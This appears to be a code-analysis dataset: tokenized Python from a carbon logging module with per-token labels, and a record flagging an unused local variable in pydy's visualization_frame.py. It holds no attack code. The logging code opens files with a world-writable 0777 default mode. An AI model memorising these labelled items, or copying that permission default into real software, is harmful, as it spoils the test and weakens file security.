")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"def_",
"\\u\\u",
"init\\u\\u_",
"(_",
"self_",
",_",
"*_",
"args_",
",_",
"**_",
"kwargs_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"Da",
"il",
"y",
"Log",
"File_",
"._",
"\\u\\u",
"init\\u\\u_",
"(_",
"self_",
",_",
"*_",
"args_",
",_",
"**_",
"kwargs_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"avoid",
" ",
"circular",
" ",
"dependencies_",
"\\u\\u\\uNL\\u\\u\\u_",
"from_",
"carbon",
"_",
"._",
"conf_",
"import_",
"settings_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"enable",
"Rotation_",
"=_",
"settings_",
"._",
"ENABLE",
"\\u",
"LOG",
"ROTAT",
"ION_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Car",
"bon",
"Log",
"File_",
"(_",
"Da",
"il",
"y",
"Log",
"File_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u",
"open",
"File_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Fix",
" ",
"Uma",
"sk",
" ",
"Issue",
" ",
"https",
"://",
"twist",
"edm",
"atrix",
".",
"com",
"/",
"trac",
"/",
"tick",
"et",
"/",
"702",
"6",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"open",
"Mode_",
"=_",
"self_",
"._",
"default",
"Mode_",
"or_",
"0_",
"777_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"\\u",
"file_",
"=_",
"os_",
"._",
"fdo",
"pen_",
"(_",
"os_",
"._",
"open_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"path_",
",_",
"os_",
"._",
"O",
"\\u",
"CRE",
"AT_",
"|_",
"os_",
"._",
"O",
"\\u",
"RD",
"WR",
"_",
",_",
"open",
"Mode_",
")_",
",_",
"'",
"r",
"+'_",
",_",
"1_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"closed_",
"=_",
"False_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Tr",
"y",
" ",
"our",
" ",
"best",
" ",
"to",
" ",
"update",
" ",
"permissi",
"ons",
" ",
"for",
" ",
"files",
" ",
"whi",
"ch",
" ",
"alr",
"ead",
"y",
" ",
"exist",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"self_",
"._",
"default",
"Mode_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"os_",
"._",
"chmod_",
"(_",
"self_",
"._",
"path_",
",_",
"self_",
"._",
"default",
"Mode_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
"OSE",
"rror_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"pass_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Seek",
" ",
"is",
" ",
"need",
"ed",
" ",
"for",
" ",
"uniform",
"it",
"y",
" ",
"of",
" ",
"stream",
" ",
"position",
"ing_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"for",
" ",
"read",
" ",
"and",
" ",
"write",
" ",
"bet",
"ween",
" ",
"Lin",
"ux",
" ",
"and",
" ",
"BS",
"D",
" ",
"system",
"s",
" ",
"due",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"to",
" ",
"difference",
"s",
" ",
"in",
" ",
"fop",
"en",
"()",
" ",
"bet",
"ween",
" ",
"operati",
"ng",
" ",
"system",
"s",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"self_",
"._",
"\\u",
"file_",
"._",
"seek_",
"(_",
"0_",
",_",
"os_",
"._",
"SEE",
"K",
"\\u",
"END_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"last",
"Date_",
"=_",
"self_",
"._",
"to",
"Date_",
"(_",
"os_",
"._",
"stat_",
"(_",
"self_",
"._",
"path_",
")_",
"[_",
"8_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Car",
"bon",
"Log",
"File_",
"(_",
"Da",
"il",
"y",
"Log",
"File_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"shou",
"ld",
"Rotate",
"_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"self_",
"._",
"enable",
"Rotation_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"Da",
"il",
"y",
"Log",
"File_",
"._",
"shou",
"ld",
"Rotate",
"_",
"(_",
"self_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"False_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Car",
"bon",
"Log",
"File_",
"(_",
"Da",
"il",
"y",
"Log",
"File_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"write_",
"(_",
"self_",
",_",
"data_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"not_",
"self_",
"._",
"enable",
"Rotation_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"not_",
"os_",
"._",
"path_",
"._",
"exists_",
"(_",
"self_",
"._",
"path_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"reo",
"pen_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"path",
"\\u",
"stat_",
"=_",
"os_",
"._",
"stat_",
"(_",
"self_",
"._",
"path_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"fd",
"\\u",
"stat_",
"=_",
"os_",
"._",
"fsta",
"t_",
"(_",
"self_",
"._",
"\\u",
"file_",
"._",
"fileno_",
"(_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"not_",
"(_",
"path",
"\\u",
"stat_",
"._",
"st",
"\\u",
"ino_",
"==_",
"fd",
"\\u",
"stat_",
"._",
"st",
"\\u",
"ino_",
"\\u\\u\\uNL\\u\\u\\u_",
"and_",
"path",
"\\u",
"stat_",
"._",
"st",
"\\u",
"dev_",
"==_",
"fd",
"\\u",
"stat_",
"._",
"st",
"\\u",
"dev_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"reo",
"pen_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"Da",
"il",
"y",
"Log",
"File_",
"._",
"write_",
"(_",
"self_",
",_",
"data_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Car",
"bon",
"Log",
"File_",
"(_",
"Da",
"il",
"y",
"Log",
"File_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"reo",
"pen_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"close_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"\\u",
"open",
"File_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"class_",
"Car",
"bon",
"Log",
"Observer_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"implements_",
"(_",
"IL",
"og",
"Observer_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Default",
" ",
"to",
" ",
"stdout_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"observer_",
"=_",
"stdout",
"\\u",
"observer_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Car",
"bon",
"Log",
"Observer_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"def_",
"log",
"\\u",
"to",
"\\u",
"dir_",
"(_",
"self_",
",_",
"logdir_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"logdir_",
"=_",
"logdir_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"console",
"\\u",
"logfile_",
"=_",
"Car",
"bon",
"Log",
"File_",
"(_",
"'",
"console",
".",
"log",
"'_",
",_",
"logdir_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"custom",
"\\u",
"logs_",
"=_",
"{_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"observer_",
"=_",
"self_",
"._",
"logdi",
"r",
"\\u",
"observer_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Car",
"bon",
"Log",
"Observer_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"log",
"\\u",
"to",
"\\u",
"syslog_",
"(_",
"self_",
",_",
"prefix_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"observer_",
"=_",
"Sys",
"log",
"Observer_",
"(_",
"prefix_",
")_",
"._",
"emit_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"def_",
"syslo",
"g",
"\\u",
"observer_",
"(_",
"event_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"event_",
"[_",
"\"",
"system",
"\"_",
"]_",
"=_",
"event_",
"._",
"get_",
"(_",
"\"",
"type",
"\"_",
",_",
"\"",
"console",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"observer_",
"(_",
"event_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"self_",
"._",
"observer_",
"=_",
"syslo",
"g",
"\\u",
"observer_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Car",
"bon",
"Log",
"Observer_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u\\u",
"call\\u\\u_",
"(_",
"self_",
",_",
"event_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"self_",
"._",
"observer_",
"(_",
"event_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Car",
"bon",
"Log",
"Observer_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"stdout",
"\\u",
"observer_",
"(_",
"self_",
",_",
"event_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"stdout_",
"._",
"write_",
"(_",
"format",
"Event_",
"(_",
"event_",
",_",
"include",
"Type_",
"=_",
"True_",
")_",
"+_",
"'\\\\",
"n",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"stdout_",
"._",
"flush_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Car",
"bon",
"Log",
"Observer_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"logdi",
"r",
"\\u",
"observer_",
"(_",
"self_",
",_",
"event_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"message_",
"=_",
"format",
"Event_",
"(_",
"event_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"log",
"\\u",
"type_",
"=_",
"event_",
"._",
"get_",
"(_",
"'",
"type",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"log",
"\\u",
"type_",
"is_",
"not_",
"None_",
"and_",
"log",
"\\u",
"type_",
"not_",
"in_",
"self_",
"._",
"custom",
"\\u",
"logs_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"custom",
"\\u",
"logs_",
"[_",
"log",
"\\u",
"type_",
"]_",
"=_",
"Car",
"bon",
"Log",
"File_",
"(_",
"log",
"\\u",
"type_",
"+_",
"'.",
"log",
"'_",
",_",
"self_",
"._",
"logdir_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"logfile_",
"=_",
"self_",
"._",
"custom",
"\\u",
"logs_",
"._",
"get_",
"(_",
"log",
"\\u",
"type_",
",_",
"self_",
"._",
"console",
"\\u",
"logfile_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"logfile_",
"._",
"write_",
"(_",
"message_",
"+_",
"'\\\\",
"n",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"logfile_",
"._",
"flush_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"def_",
"format",
"Event_",
"(_",
"event_",
",_",
"include",
"Type_",
"=_",
"False_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"event_",
"[_",
"'",
"is",
"Error",
"'_",
"]_",
"=_",
"'",
"fail",
"ure",
"'_",
"in_",
"event_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"message_",
"=_",
"text",
"Fro",
"m",
"Event",
"Dict_",
"(_",
"event_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"include",
"Type_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"type",
"Tag_",
"=_",
"'[",
"%",
"s",
"]",
" ",
"'_",
"%_",
"event_",
"._",
"get_",
"(_",
"'",
"type",
"'_",
",_",
"'",
"console",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"type",
"Tag_",
"=_",
"''_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"timestamp_",
"=_",
"time_",
"._",
"strftime_",
"(_",
"\"%",
"d",
"/",
"%",
"m",
"/",
"%",
"Y",
" ",
"%",
"H",
":",
"%",
"M",
":",
"%",
"S",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"\"%",
"s",
" ",
"::",
" ",
"%",
"s",
"%",
"s",
"\"_",
"%_",
"(_",
"timestamp_",
",_",
"type",
"Tag_",
",_",
"message_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"def_",
"log",
"To",
"Stdout",
"_",
"(_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"start",
"Log",
"ging",
"With",
"Observer_",
"(_",
"carbon",
"Log",
"Observer_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"cache_",
"(_",
"message_",
",_",
"**_",
"context_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"context_",
"[_",
"'",
"type",
"'_",
"]_",
"=_",
"'",
"cache",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"msg_",
"(_",
"message_",
",_",
"**_",
"context_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"clients_",
"(_",
"message_",
",_",
"**_",
"context_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"context_",
"[_",
"'",
"type",
"'_",
"]_",
"=_",
"'",
"clients",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"msg_",
"(_",
"message_",
",_",
"**_",
"context_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"create",
"s_",
"(_",
"message_",
",_",
"**_",
"context_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"context_",
"[_",
"'",
"type",
"'_",
"]_",
"=_",
"'",
"create",
"s",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"msg_",
"(_",
"message_",
",_",
"**_",
"context_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"updates_",
"(_",
"message_",
",_",
"**_",
"context_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"context_",
"[_",
"'",
"type",
"'_",
"]_",
"=_",
"'",
"update",
"s",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"msg_",
"(_",
"message_",
",_",
"**_",
"context_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"listener_",
"(_",
"message_",
",_",
"**_",
"context_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"context_",
"[_",
"'",
"type",
"'_",
"]_",
"=_",
"'",
"listen",
"er",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"msg_",
"(_",
"message_",
",_",
"**_",
"context_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"relay_",
"(_",
"message_",
",_",
"**_",
"context_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"context_",
"[_",
"'",
"type",
"'_",
"]_",
"=_",
"'",
"relay",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"msg_",
"(_",
"message_",
",_",
"**_",
"context_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"aggregator",
"_",
"(_",
"message_",
",_",
"**_",
"context_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"context_",
"[_",
"'",
"type",
"'_",
"]_",
"=_",
"'",
"aggregator",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"msg_",
"(_",
"message_",
",_",
"**_",
"context_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"query_",
"(_",
"message_",
",_",
"**_",
"context_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"context_",
"[_",
"'",
"type",
"'_",
"]_",
"=_",
"'",
"query",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"msg_",
"(_",
"message_",
",_",
"**_",
"context_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"debug_",
"(_",
"message_",
",_",
"**_",
"context_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"debug",
"Enabled_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"msg_",
"(_",
"message_",
",_",
"**_",
"context_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"def_",
"set",
"Deb",
"ug",
"Enabled_",
"(_",
"enabled_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"global_",
"debug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2,
2,
2,
2,
2,
2,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Unused local variable | pydy/pydy/pydy/viz/visualization_frame.py | [
{
"content": " def __init__(self, *args):\n \"\"\"\n To initialize a visualization frame a ReferenceFrame,\n Point, and Shape are required. These ReferenceFrame\n and Point can be passed provided in three ways:\n\n 1) RigidBody: the RigidBody's frame and mass center are used.\n 2) ReferenceFrame and a Particle: The Particle's Point is used.\n 3) ReferenceFrame and a Point\n\n Parameters\n ==========\n name : str, optional\n Name assigned to VisualizationFrame, default is unnamed\n reference_frame : ReferenceFrame\n A reference_frame with respect to which all orientations of the\n shape takes place, during visualizations/animations.\n origin : Point\n A point with respect to which all the translations of the shape\n takes place, during visualizations/animations.\n rigidbody : RigidBody\n A rigidbody whose reference frame and mass center are to be\n assigned as reference_frame and origin of the\n VisualizationFrame.\n particle : Particle\n A particle whose point is assigned as origin of the\n VisualizationFrame.\n shape : Shape\n A shape to be attached to the VisualizationFrame\n\n Examples\n ========\n >>> from pydy.viz import VisualizationFrame, Sphere\n >>> from sympy.physics.mechanics import \\\n ReferenceFrame, Point, RigidBody, \\\n Particle, inertia\n >>> from sympy import symbols\n >>> I = ReferenceFrame('I')\n >>> O = Point('O')\n >>> shape = Sphere(5)\n >>> #initializing with reference frame, point\n >>> frame1 = VisualizationFrame('frame1', I, O, shape)\n >>> Ixx, Iyy, Izz, mass = symbols('Ixx Iyy Izz mass')\n >>> i = inertia(I, Ixx, Iyy, Izz)\n >>> rbody = RigidBody('rbody', O, I, mass, (inertia, O))\n >>> # Initializing with a rigidbody ..\n >>> frame2 = VisualizationFrame('frame2', rbody, shape)\n >>> Pa = Particle('Pa', O, mass)\n >>> #initializing with Particle, reference_frame ...\n >>> frame3 = VisualizationFrame('frame3', I, Pa, shape)\n \"\"\"\n #Last arg should be a Shape ..\n if isinstance(args[-1], Shape):\n self._shape = args[-1]\n else:\n raise TypeError(\"Please provide a valid shape object as the last \"\n \" positional argument.\")\n i = 0\n # If first arg is not str, name the visualization frame 'unnamed'\n if isinstance(args[i], str):\n self.name = args[i]\n i += 1\n else:\n self.name = 'unnamed'\n\n try:\n self.reference_frame = args[i].get_frame()\n self.origin = args[i].masscenter\n\n except AttributeError:\n #It is not a rigidbody, hence this arg should be a\n #reference frame\n try:\n dcm = args[i]._dcm_dict\n self.reference_frame = args[i]\n i += 1\n except AttributeError:\n raise TypeError(''' A ReferenceFrame is to be supplied\n before a Particle/Point. ''')\n\n #Now next arg can either be a Particle or point\n try:\n self.origin = args[i].point\n\n except AttributeError:\n self.origin = args[i]",
"metadata": "root.VisualizationFrame.__init__",
"header": "['class', 'VisualizationFrame', '(', 'object', ')', ':', '___EOS___']",
"index": 40
}
]
| [
{
"span": "dcm ",
"start_line": 113,
"start_column": 16,
"end_line": 113,
"end_column": 19
}
]
| []
| 1 | true | [
"[CLS]_",
"Un",
"used_",
"local_",
"variable_",
"[SEP]_",
"class_",
"Visualiza",
"tion",
"Frame_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"def_",
"\\u\\u",
"init\\u\\u_",
"(_",
"self_",
",_",
"*_",
"args_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
